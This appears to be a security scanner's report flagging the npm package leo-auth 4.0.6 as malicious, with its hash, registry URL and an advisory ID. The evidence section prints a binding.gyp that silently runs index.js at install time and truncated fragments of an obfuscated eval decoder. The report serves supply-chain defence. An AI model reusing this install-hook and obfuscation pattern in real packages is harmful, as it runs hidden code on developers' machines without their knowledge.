Hostile ^100% javascript Download

leo-auth 4.0.6

Obfuscated eval and install-time code execution

binding.gyp runs a command at install timeeval() with transform func call

SHA-256a934a5bcf692b9d01e8129bf264be23809dfee464df471d75a9f3fa1bcede343

URLhttps://registry.npmjs.org/leo-auth/-/leo-auth-4.0.6.tgz

MaleculeO(S₃)H₂(Db₂Po₆)Md(Pa₂)

Also flagged by osv (MAL-2026-6417: Malicious code in leo-auth (npm)) +3 more.

Evidence

gyp command expansion redirects or chains shell binding.gyp · lines 1–9

1{
"targets": [
  {
    "target_name": "nothing",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }
]
9}

eval() with transform func call index.js · line 0

0try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCod…

String.fromCharCode in map (decode loop) index.js · line 5285782

5285782…02,120,108,108,116,122,120,124,124,120,41,125,125,41,40,41].map(function(c){return String.fromCharCode(c)}).join(""),7))…

ES module export keyword pattern aws-util.js.map · line 2826

2826…          if (ret === abort) break;\n        }\n    }\n}\n\nexport function copy(object) {\n    if (object === null || o…

Major version is 1 or higher package.json · lines 1–21

1{
"name": "leo-auth",
"version": "4.0.6",
"description": "Auth sdk",
"homepage": "https://leoplatform.io",
"main": "index.js",
"directories": {
  "test": "test"
},
"scripts": {
  "test-all": "npm run compile && npm run coverage-all",
  "tests": "mocha --recursive -w",
  "test": "mocha --recursive -g",
  "coverage-all": "cross-env NODE_ENV=utest node ./node_modules/nyc/bin/nyc.js --all node ./node_modules/mocha/bin/mocha --timeout 5000 \"./{,!(node_modules)/**/}*.utest.js\"",
  "compile": "tsc",
⋯6 lines

Showing the top 5 files — 1 more file (11 regions) not shown.

No evidence locations were recorded for this file. Raw result